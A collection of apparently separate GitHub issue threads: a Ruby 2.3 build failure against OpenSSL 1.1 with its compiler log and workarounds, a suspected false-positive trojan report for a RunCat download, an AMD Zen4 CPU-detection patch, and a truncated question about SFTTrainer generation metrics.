Build Ruby 2.3 fails due to an openssl error

I get an openssl error when trying to install Ruby 2.3.X. I have successfully installed 2.4.1, 2.5.5 and 2.6.2. It seems openssl 1.1 doesn't support Ruby < 2.3 but openssl 1.1 is required by ruby-build.
operative system: openSUSE Leap 15.1
openssl version: OpenSSL 1.1.0i-fips  14 Aug 2018
ruby-build version: 20190401
rbenv version: 1.1.1
It may be related to https://github.com/rbenv/ruby-build/issues/850
Log rbenv install 2.3.3
compiling ossl_ssl.c
In file included from ossl.h:57:0,
                 from ossl_engine.c:10:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
compiling ossl_pkey_rsa.c
In file included from ossl.h:57:0,
                 from ossl_x509.c:10:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
In file included from ossl.h:57:0,
                 from ossl_cipher.c:10:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
linking shared-object gdbm.so
In file included from ossl.h:57:0,
                 from ossl_pkcs12.c:5:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
In file included from ossl.h:57:0,
                 from ossl_pkcs5.c:4:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
In file included from ossl.h:57:0,
                 from ossl_x509attr.c:10:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
In file included from ossl.h:222:0,
                 from ossl_engine.c:10:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_engine.c:10:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
make[2]: *** [Makefile:301: ossl_engine.o] Error 1
make[2]: *** Waiting for unfinished jobs....
In file included from ossl.h:57:0,
                 from ossl_pkey_rsa.c:12:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
In file included from ossl.h:57:0,
                 from ossl_ssl.c:12:
/usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."
 #error "This file is obsolete; please update your software."
  ^~~~~
In file included from ossl.h:222:0,
                 from ossl_x509.c:10:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_x509.c:10:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
make[2]: *** [Makefile:301: ossl_x509.o] Error 1
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/gdbm'
In file included from ossl.h:222:0,
                 from ossl_cipher.c:10:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_cipher.c:10:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
In file included from ../.././include/ruby.h:33:0,
                 from ossl.h:30,
                 from ossl_cipher.c:10:
ossl_cipher.c: In function ‘ossl_cipher_new’:
ossl_cipher.c:17:37: error: invalid application of ‘sizeof’ to incomplete type ‘EVP_CIPHER_CTX {aka struct evp_cipher_ctx_st}’
     (DATA_PTR(obj) = (ctx) = ZALLOC(EVP_CIPHER_CTX))
                                     ^
../.././include/ruby/ruby.h:1603:61: note: in definition of macro ‘RB_ZALLOC_N’
 #define RB_ZALLOC_N(type,n) ((type*)ruby_xcalloc((n),sizeof(type)))
                                                             ^~~~
../.././include/ruby/ruby.h:1610:22: note: in expansion of macro ‘RB_ZALLOC’
 #define ZALLOC(type) RB_ZALLOC(type)
                      ^~~~~~~~~
ossl_cipher.c:17:30: note: in expansion of macro ‘ZALLOC’
     (DATA_PTR(obj) = (ctx) = ZALLOC(EVP_CIPHER_CTX))
                              ^~~~~~
ossl_cipher.c:69:5: note: in expansion of macro ‘AllocCipher’
     AllocCipher(ret, ctx);
     ^~~~~~~~~~~
ossl_cipher.c: In function ‘ossl_cipher_memsize’:
ossl_cipher.c:94:19: error: dereferencing pointer to incomplete type ‘EVP_CIPHER_CTX {aka const struct evp_cipher_ctx_st}’
     return sizeof(*ctx);
                   ^~~~
In file included from ../.././include/ruby.h:33:0,
                 from ossl.h:30,
                 from ossl_cipher.c:10:
ossl_cipher.c: In function ‘ossl_cipher_initialize’:
ossl_cipher.c:17:37: error: invalid application of ‘sizeof’ to incomplete type ‘EVP_CIPHER_CTX {aka struct evp_cipher_ctx_st}’
     (DATA_PTR(obj) = (ctx) = ZALLOC(EVP_CIPHER_CTX))
                                     ^
../.././include/ruby/ruby.h:1603:61: note: in definition of macro ‘RB_ZALLOC_N’
 #define RB_ZALLOC_N(type,n) ((type*)ruby_xcalloc((n),sizeof(type)))
                                                             ^~~~
../.././include/ruby/ruby.h:1610:22: note: in expansion of macro ‘RB_ZALLOC’
 #define ZALLOC(type) RB_ZALLOC(type)
                      ^~~~~~~~~
ossl_cipher.c:17:30: note: in expansion of macro ‘ZALLOC’
     (DATA_PTR(obj) = (ctx) = ZALLOC(EVP_CIPHER_CTX))
                              ^~~~~~
ossl_cipher.c:124:5: note: in expansion of macro ‘AllocCipher’
     AllocCipher(self, ctx);
     ^~~~~~~~~~~
ossl_cipher.c: In function ‘ossl_cipher_copy’:
ossl_cipher.c:17:37: error: invalid application of ‘sizeof’ to incomplete type ‘EVP_CIPHER_CTX {aka struct evp_cipher_ctx_st}’
     (DATA_PTR(obj) = (ctx) = ZALLOC(EVP_CIPHER_CTX))
                                     ^
../.././include/ruby/ruby.h:1603:61: note: in definition of macro ‘RB_ZALLOC_N’
 #define RB_ZALLOC_N(type,n) ((type*)ruby_xcalloc((n),sizeof(type)))
                                                             ^~~~
../.././include/ruby/ruby.h:1610:22: note: in expansion of macro ‘RB_ZALLOC’
 #define ZALLOC(type) RB_ZALLOC(type)
                      ^~~~~~~~~
ossl_cipher.c:17:30: note: in expansion of macro ‘ZALLOC’
     (DATA_PTR(obj) = (ctx) = ZALLOC(EVP_CIPHER_CTX))
                              ^~~~~~
ossl_cipher.c:152:2: note: in expansion of macro ‘AllocCipher’
  AllocCipher(self, ctx1);
  ^~~~~~~~~~~
make[2]: Entering directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3'
make[2]: warning: -jN forced in submake: disabling jobserver mode.
In file included from nkf.c:62:0:
nkf-utf8/nkf.c: In function ‘module_connection’:
nkf-utf8/nkf.c:5710:5: warning: this ‘if’ clause does not guard... [-Wmisleading-indentation]
     if (nkf_enc_unicode_p(output_encoding))
     ^~
nkf-utf8/nkf.c:5713:2: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
  if (x0201_f == NKF_UNSPECIFIED) {
  ^~
In file included from ossl.h:222:0,
                 from ossl_pkcs12.c:5:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_pkcs12.c:5:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
ossl_cipher.c: In function ‘ossl_cipher_memsize’:
ossl_cipher.c:95:1: warning: control reaches end of non-void function [-Wreturn-type]
 }
 ^
make[2]: *** [Makefile:301: ossl_pkcs12.o] Error 1
compiling pathname.c
make[2]: *** [Makefile:301: ossl_cipher.o] Error 1
installing default pathname libraries
In file included from ossl.h:222:0,
                 from ossl_pkcs5.c:4:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_pkcs5.c:4:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
make[2]: *** [Makefile:301: ossl_pkcs5.o] Error 1
nkf-utf8/nkf.c: In function ‘options’:
nkf-utf8/nkf.c:6807:22: warning: this statement may fall through [-Wimplicit-fallthrough=]
      fold_preserve_f = TRUE;
nkf-utf8/nkf.c:6808:2: note: here
  case 'f':   /* folding -f60 or -f */
  ^~~~
In file included from ossl.h:222:0,
                 from ossl_x509attr.c:10:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_x509attr.c:10:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
ossl_x509attr.c: In function ‘ossl_x509attr_set_value’:
ossl_x509attr.c:206:12: error: dereferencing pointer to incomplete type ‘X509_ATTRIBUTE {aka struct x509_attributes_st}’
     if(attr->value.set){
            ^~
In file included from ossl.h:222:0,
                 from ossl_pkey_rsa.c:12:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_pkey_rsa.c:12:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
ossl_pkey_rsa.c: In function ‘ossl_rsa_new’:
ossl_pkey_rsa.c:65:24: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
  if (EVP_PKEY_type(pkey->type) != EVP_PKEY_RSA) {
                        ^~
ossl_pkey_rsa.c: In function ‘rsa_generate’:
ossl_pkey_rsa.c:103:14: error: storage size of ‘cb’ isn’t known
     BN_GENCB cb;
              ^~
ossl_pkey_rsa.c:103:14: warning: unused variable ‘cb’ [-Wunused-variable]
ossl_pkey_rsa.c: In function ‘ossl_rsa_is_private’:
ossl_pkey_rsa.c:291:1: warning: control reaches end of non-void function [-Wreturn-type]
 }
 ^
make[2]: *** [Makefile:301: ossl_pkey_rsa.o] Error 1
In file included from ossl.h:222:0,
                 from ossl_ssl.c:12:
openssl_missing.h:78:35: error: macro "EVP_MD_CTX_create" passed 1 arguments, but takes just 0
 EVP_MD_CTX *EVP_MD_CTX_create(void);
                                   ^
In file included from /usr/include/openssl/x509.h:23:0,
                 from /usr/include/openssl/x509v3.h:14,
                 from ossl.h:58,
                 from ossl_ssl.c:12:
openssl_missing.h:82:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);
      ^
openssl_missing.h:90:6: error: expected declaration specifiers or ‘...’ before ‘(’ token
 void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx);
      ^
ossl_ssl.c:90:5: warning: ‘TLSv1_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1632:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_method(void)) /* TLSv1.0 */
 ^
ossl_ssl.c:91:5: warning: ‘TLSv1_server_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_server),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1633:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_server_method(void)) /* TLSv1.0 */
 ^
ossl_ssl.c:92:5: warning: ‘TLSv1_client_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_client),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1634:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_client_method(void)) /* TLSv1.0 */
 ^
ossl_ssl.c:95:5: warning: ‘TLSv1_2_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_2),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1644:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_2_method(void)) /* TLSv1.2 */
 ^
ossl_ssl.c:96:5: warning: ‘TLSv1_2_server_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_2_server),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1645:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_2_server_method(void)) /* TLSv1.2 */
 ^
ossl_ssl.c:97:5: warning: ‘TLSv1_2_client_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_2_client),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1646:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_2_client_method(void)) /* TLSv1.2 */
 ^
ossl_ssl.c:101:5: warning: ‘TLSv1_1_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_1),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1638:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_1_method(void)) /* TLSv1.1 */
 ^
ossl_ssl.c:102:5: warning: ‘TLSv1_1_server_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_1_server),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1639:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_1_server_method(void)) /* TLSv1.1 */
 ^
ossl_ssl.c:103:5: warning: ‘TLSv1_1_client_method’ is deprecated [-Wdeprecated-declarations]
     OSSL_SSL_METHOD_ENTRY(TLSv1_1_client),
     ^~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/e_os2.h:13:0,
                 from /usr/include/openssl/err.h:13,
                 from ossl.h:56,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:1640:1: note: declared here
 DEPRECATEDIN_1_1_0(__owur const SSL_METHOD *TLSv1_1_client_method(void)) /* TLSv1.1 */
 ^
ossl_ssl.c: In function ‘ossl_sslctx_free’:
ossl_ssl.c:132:5: error: dereferencing pointer to incomplete type ‘SSL_CTX {aka struct ssl_ctx_st}’
  ctx->cert_store = NULL;
     ^~
In file included from nkf.c:62:0:
nkf-utf8/nkf.c: In function ‘set_input_encoding’:
nkf-utf8/nkf.c:1238:5: warning: this statement may fall through [-Wimplicit-fallthrough=]
  if (x0201_f == NKF_UNSPECIFIED) x0201_f = FALSE; /* -x specified implicitly */
     ^
nkf-utf8/nkf.c:1239:5: note: here
     case CP50220:
     ^~~~
ossl_x509attr.c: In function ‘ossl_x509attr_get_value’:
ossl_x509attr.c:238:11: warning: implicit declaration of function ‘i2d_ASN1_SET_OF_ASN1_TYPE’; did you mean ‘i2d_ASN1_SET_ANY’? [-Wimplicit-function-declaration]
  length = i2d_ASN1_SET_OF_ASN1_TYPE(attr->value.set,
           ^~~~~~~~~~~~~~~~~~~~~~~~~
           i2d_ASN1_SET_ANY
ossl_ssl.c: In function ‘ossl_call_tmp_dh_callback’:
ossl_ssl.c:246:27: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
     if (EVP_PKEY_type(pkey->type) != EVP_PKEY_DH) return Qfalse;
                           ^~
ossl_ssl.c: In function ‘ossl_sslctx_session_new_cb’:
ossl_ssl.c:387:5: warning: implicit declaration of function ‘CRYPTO_add’; did you mean ‘CRYPTO_free’? [-Wimplicit-function-declaration]
     CRYPTO_add(&sess->references, 1, CRYPTO_LOCK_SSL_SESSION);
     ^~~~~~~~~~
     CRYPTO_free
ossl_ssl.c:387:21: error: dereferencing pointer to incomplete type ‘SSL_SESSION {aka struct ssl_session_st}’
     CRYPTO_add(&sess->references, 1, CRYPTO_LOCK_SSL_SESSION);
                     ^~
make[2]: *** [Makefile:301: ossl_x509attr.o] Error 1
ossl_ssl.c:387:38: error: ‘CRYPTO_LOCK_SSL_SESSION’ undeclared (first use in this function); did you mean ‘CRYPTO_EX_INDEX_SSL_SESSION’?
     CRYPTO_add(&sess->references, 1, CRYPTO_LOCK_SSL_SESSION);
                                      ^~~~~~~~~~~~~~~~~~~~~~~
                                      CRYPTO_EX_INDEX_SSL_SESSION
ossl_ssl.c:387:38: note: each undeclared identifier is reported only once for each function it appears in
ossl_ssl.c: In function ‘ossl_sslctx_session_remove_cb’:
ossl_ssl.c:436:38: error: ‘CRYPTO_LOCK_SSL_SESSION’ undeclared (first use in this function); did you mean ‘CRYPTO_EX_INDEX_SSL_SESSION’?
     CRYPTO_add(&sess->references, 1, CRYPTO_LOCK_SSL_SESSION);
                                      ^~~~~~~~~~~~~~~~~~~~~~~
                                      CRYPTO_EX_INDEX_SSL_SESSION
ossl_ssl.c: In function ‘ssl_info_cb’:
ossl_ssl.c:644:17: warning: implicit declaration of function ‘SSL_state’; did you mean ‘SSL_write’? [-Wimplicit-function-declaration]
     int state = SSL_state(ssl);
                 ^~~~~~~~~
                 SSL_write
ossl_ssl.c: In function ‘ossl_sslctx_setup’:
ossl_ssl.c:715:2: warning: implicit declaration of function ‘SSL_CTX_set_tmp_ecdh_callback’; did you mean ‘SSL_CTX_set_tmp_dh_callback’? [-Wimplicit-function-declaration]
  SSL_CTX_set_tmp_ecdh_callback(ctx, ossl_tmp_ecdh_callback);
  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  SSL_CTX_set_tmp_dh_callback
ossl_ssl.c:835:31: warning: passing argument 2 of ‘SSL_CTX_sess_set_get_cb’ from incompatible pointer type [-Wincompatible-pointer-types]
  SSL_CTX_sess_set_get_cb(ctx, ossl_sslctx_session_get_cb);
                               ^~~~~~~~~~~~~~~~~~~~~~~~~~
In file included from ossl.h:59:0,
                 from ossl_ssl.c:12:
/usr/include/openssl/ssl.h:647:6: note: expected ‘SSL_SESSION * (*)(struct ssl_st *, const unsigned char *, int,  int *) {aka struct ssl_session_st * (*)(struct ssl_st *, const unsigned char *, int,  int *)}’ but argument is of type ‘SSL_SESSION * (*)(SSL *, unsigned char *, int,  int *) {aka struct ssl_session_st * (*)(struct ssl_st *, unsigned char *, int,  int *)}’
 void SSL_CTX_sess_set_get_cb(SSL_CTX *ctx,
      ^~~~~~~~~~~~~~~~~~~~~~~
ossl_ssl.c: In function ‘ossl_sslctx_get_ciphers’:
ossl_ssl.c:902:16: warning: assignment discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
         cipher = sk_SSL_CIPHER_value(ciphers, i);
                ^
ossl_ssl.c: In function ‘ossl_ssl_write_internal’:
ossl_ssl.c:1557:6: warning: this statement may fall through [-Wimplicit-fallthrough=]
   if (errno) rb_sys_fail(0);
      ^
ossl_ssl.c:1558:6: note: here
      default:
      ^~~~~~~
ossl_ssl.c: In function ‘ossl_tmp_ecdh_callback’:
ossl_ssl.c:299:1: warning: control reaches end of non-void function [-Wreturn-type]
 }
 ^
ossl_ssl.c: In function ‘ossl_tmp_dh_callback’:
ossl_ssl.c:265:1: warning: control reaches end of non-void function [-Wreturn-type]
 }
 ^
make[2]: *** [Makefile:301: ossl_ssl.o] Error 1
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/openssl'
make[1]: *** [exts.mk:209: ext/openssl/all] Error 2
make[1]: *** Waiting for unfinished jobs....
linking shared-object json/ext/parser.so
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/json/parser'
linking shared-object objspace.so
linking shared-object json/ext/generator.so
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/objspace'
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/json/generator'
linking shared-object pathname.so
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/pathname'
linking shared-object bigdecimal.so
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/bigdecimal'
linking shared-object date_core.so
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/date'
linking shared-object nkf.so
make[2]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3/ext/nkf'
make[1]: Leaving directory '/tmp/ruby-build.20190721184856.920/ruby-2.3.3'
make: *** [uncommon.mk:203: build-ext] Error 2

Ruby 2.3 didn't support OpenSSL 1.1.x. and it's already EOL status.

openssl 1.1 is required by ruby-build.

I'm not sure what means this. The definition of ruby-build for Ruby 2.3 uses openssl-1.0.x: https://github.com/rbenv/ruby-build/blob/master/share/ruby-build/2.3.8#L1

The ruby-build openSUSE package  requires libopenssl-devel 1.1 (which requires libopenssl 1.0) , which I assume makes that ruby-build fails to install openssl 1.0 and consequently the installation of Ruby 2.3 fails.
I have removed this requirement in the openSUSE ruby-build package and installed libopenssl-devel 1.0 (which requires libopenssl 1.0) and this new version of ruby-build. In this way I can install Ruby 2.3 and previous Ruby versions.
I am not sure if there is a nice way to fix this problem apart of what I did (which is not really nice and uses a modified package). I know Ruby 2.3 is already in EOL status, but it is still used in many places, such as programming challenges like Google Code Jam and Hacker Earth (for those kind of things I find ruby-build + rbenv really useful).

I'm not sure what means this. The definition of ruby-build for Ruby 2.3 uses openssl-1.0.x:
Presently, it only uses local openssl-1.0 on OS X, because the check --if has_broken_mac_openssl predictably only applies on OS X. Commenting out the check and replacing the OS X specific commands to copy system certs in build_package_mac_openssl with a cp /etc/ssl/certs/*.pem "$OPENSSLDIR/" appears to work.

We do not publish linux packages for ruby-build, so we can't control what people list as dependencies in those packags. If a package declares openssl as a dependency, it's quite likely that the wrong openssl version will be used when installing Ruby 2.3 or older.
To ensure that the proper openssl version gets used when building any version of Ruby on linux:

Make sure the appropriate version of openssl is installed on the system (1.1 for Ruby > 2.4, 1.0 for older rubies);
Point to the location of that version by using RUBY_CONFIGURE_OPTS=--with-openssl-dir=/path/to/openssl.

Unfortunately, we are choosing to not automatically handle any of this in ruby-build because building openssl on linux is complex and best left to the user.

Thanks for following up. Unlike the original bug, I am not using a packaged version of ruby-build, and am on Debian rather than Suse. This issue shows up on Google, so I felt some commentary would be useful to anyone else finding it as I did.
It is not possible for a package to pull in both OpenSSL 1.1 and 1.0 headers as, unlike the library files, these share a path. As numerous libraries now depend on 1.1, swapping which header package is installed (as I have done in the past) is rather unpleasant, and (ab)using the existing installation script as described is relatively simpler than figuring out my own steps for building a copy of 1.0 someplace and linking it.
I figured I'd document this possibility for myself/anyone else who comes across this issue.

1. Make sure the appropriate version of openssl is installed on the system (1.1 for Ruby >= 2.4, 1.0 for older rubies);

2. Point to the location of that version by using `RUBY_CONFIGURE_OPTS=--with-openssl-dir=/path/to/openssl`.

I've been trying this method and can't get it to work, I've got my 1.0.2u version in /usr/local/ssl and my environment variable RUBY_CONFIGURE_OPTS as --with-openssl-dir=/usr/local/ssl. This is defined in /etc/environment as RUBY_CONFIGURE_OPTS=--with-openssl-dir=/usr/local/ssl and checked using echo $RUBY_CONFIGURE_OPTS
But the build process seems to insist on using the version in /usr/include according to the log file:
compiling ossl_engine.c In file included from ossl.h:57:0,                  from ossl_pkey_rsa.c:12: /usr/include/openssl/asn1_mac.h:10:2: error: #error "This file is obsolete; please update your software."  #error "This file is obsolete; please update your software."
Any help or pointers would be appreciated :)

Resolved, simplest method was to install RVM (https://rvm.io/) and run rvm install 2.3.3 in the repo.
It will resolve the openssl conflicts on your behalf and then you can procceed to run rbenv install 2.3.3 without issue.

This is defined in /etc/environment as RUBY_CONFIGURE_OPTS=--with-openssl-dir=/usr/local/ssl and checked using echo $RUBY_CONFIGURE_OPTS

Unless you had export RUBY_CONFIGURE_OPTS=... in your /etc/environment, the RUBY_CONFIGURE_OPTS was not made available to ruby-build process. Unless you are specifying RUBY_CONFIGURE_OPTS on the same line as invoking ruby-build, make sure you export the variable so it can be available to sub-processes of your shell.
But I'm glad you found a workaround! 🙌


Possible Trojan Infection?

Describe the bug
Flagged as Trojan Virus
To Reproduce
Steps to reproduce the behavior:
Download Runcat-with-dotnet-x86.zip
Expected behavior
Open as normal zipfile.
Screenshots
If applicable, add screenshots to help explain your problem.
Imgur Link

Seems weird...
VirusTotal results

x64 with dotnet 6 (3 out of 61) : https://www.virustotal.com/gui/file/f910822acca84dc92cf685ef616ae9e76cba7868e6df35ce22e7729fcfe4efb0
ARM64 with dotnet 6 (no threat found) : https://www.virustotal.com/gui/file/eb234a21a236eeede09d390a6786e4a48af66714ffc00131cb5170d66aeca373
x64 (1 out of 65) : https://www.virustotal.com/gui/file/eac57dff96005068b5a150b261812ce8a8942d934ef2bd1022fecd8481cf7fb5
ARM64 (no threat found) : https://www.virustotal.com/gui/file/af46ae94adb81a82bc91650b9ed2f2aad4e9d9cf00c4975a40ed6e2a38367d6a

Seems like false detection, but I can't sure. It's also weird that only x64 binaries have detected, while ARM64 binaries not...

@FelixIngham @somnisomni
I would like to avoid being detected as a virus, but I am not familiar with Windows and cannot help you. Sorry

The reports don't look like signature based. For example, "Artemis" is a cloud-based heuristic reputation check.
Report the file to Mcafee and Microsoft to ask for a manual check. If their engineers find the file to be clean, they should be able to stop their software from reporting.


Adding support for detection of AMD Zen4 CPUs

added following changes

new enum 'cpuinfo_uarch_zen4' for zen4 CPUs
added CPU model ranges under CPU family 0x19 for identifying AMD Zen4 CPUs

Thanks @naveenthangudu! I've tested it on both Bergamo and Genoa processors, and they are now detected as Zen 4, as expected. Previously it would just show 'unknown'


Compute metrics for generation tasks in SFTTrainer

Hi, I want to include a custom generation based compute_metrics e.g., BLEU, to the SFTTrainer. However, I have difficulties because:

The input, eval_preds, into compute_metrics contains a .predictions attribute but its value are logits rather than generations. There don't seem to be an attribute for generations.
